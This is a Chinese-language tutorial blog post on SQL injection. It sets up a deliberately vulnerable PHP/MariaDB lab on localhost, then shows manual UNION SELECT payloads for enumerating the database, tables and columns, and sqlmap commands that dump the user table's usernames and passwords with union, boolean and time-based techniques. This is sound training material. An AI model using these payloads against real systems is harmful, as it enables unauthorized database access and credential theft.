sql注入初探

了解漏洞:

什么是sql注入漏洞:

攻击者可以通过该漏洞提交一段数据库查询代码,根据程序返回的结果,获得非法数据。

分析漏洞原理:

SQL注入产生的原因是什么:

程序员在编写代码的时候,没有对用户输入内容的合法性进行判断。

一个系统存在这个漏洞会导致什么后果?

数据库中的信息将会被黑客获取,如果数据库权限设置不当,还可能被攻击者获取写权限,写入一句话木马。

漏洞的复现和利用

环境搭建:

安装nginx:dnf install nginx

安装php-cgi:dnf install php-cgi

启动php-cgi:php-cgi -b 9000 &

Cd /etc/nginx/:备份nginx.conf

将sql_injection里面的ngixn.conf替换掉之前的nginx.conf,并修改nginx.conf:user改为root

启动nginx服务:nginx(重启为nginx -s reload)

进入目录/usr/share/nginx/html:

解压task3.5 sql,将文件夹sql_injection复制到html文件中

修改sql_injection里面的1.php(mysql的root密码)和ngixn.conf(user name)

安装mariadb:dnf install mariadb

启动mariadb,新建数据库:create database sql_injection

将sql文件写入sql_injection:mysql -u root -p sql_injection < sql

修改mariadb的配置文件:vim /etc/my.cnf和vim /etc/my.cnf.d/mariadb-server.cnf

 

重启mariadb

Tail -f /var/log/mariadb/queries.log查看数据库日志

 

带有sql注入漏洞的环境:

 

安装sqlmap:

使用wget安装,解压即可使用:

手工注入实现:

  1. 判断是否存在sql注入:
  1. 永真 and 1=1,页面正常:

 

  1. 永假 and 1=2,页面无显示:

  1. 判断字段数:

依次order by 1,2,3,均正常显示:

当输入4的时候出现空白页:

说明字段数为3。

  1. 判断当前数据库权限:

union select user(),2,3(3为字段数):

当前数据库为root权限。

  1. 获得数据库库名:

union select database(),2,3(3为字段数):

数据库名为sql_injection。

  1. 获取数据库表名:

union select table_name,2,3 from information_schema.tables where table_schema="sql_injection"

表名为 user

  1. 获取数据库字段名:

union select column_name,2,3 from information_schema.columns where table_name="user" and table_schema = "sql_injection"

共三个字段,分别为id、username、password。

  1. 获取数据:

sqlmap注入:

  1. 获取数据库名:

python sqlmap.py -u "http://127.0.0.1/mysql.php?id=1&submit=submit" --dbs

  1. 获取表名:

python sqlmap.py -u "http://127.0.0.1/mysql.php?id=1&submit=submit" -D sql_injection --table

  1. 获取字段名:

python sqlmap.py -u "http://127.0.0.1/mysql.php?id=1&submit=submit" -D sql_injection -T user --columns

  1. 获取数据:

python sqlmap.py -u "http://127.0.0.1/mysql.php?id=1&submit=submit" -D sql_injection -T user -C id,password,username --dump

sqlmap Union注入:

联合查询注入,可以使用union的情况下的注入

python sqlmap.py -u "http://127.0.0.1/mysql.php?id=1&submit=submit" -D sql_injection -T user -C id,password,username --dump -technique=U --flush-session

进行的操作是猜字段数:

sqlmap Boolean Based注入

基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

python sqlmap.py -u "http://127.0.0.1/mysql.php?id=1&submit=submit" -D sql_injection -T user -C id,password,username --dump -technique=B --flush-session

正在进行的操作是判断注入点:

sqlmap Time Based注入:

基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断:
python sqlmap.py -u "http://127.0.0.1/mysql.php?id=1&submit=submit" -D sql_injection -T user -C id,password,username --dump -technique=T --flush-session

进行的操作是让此语句运行5秒:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值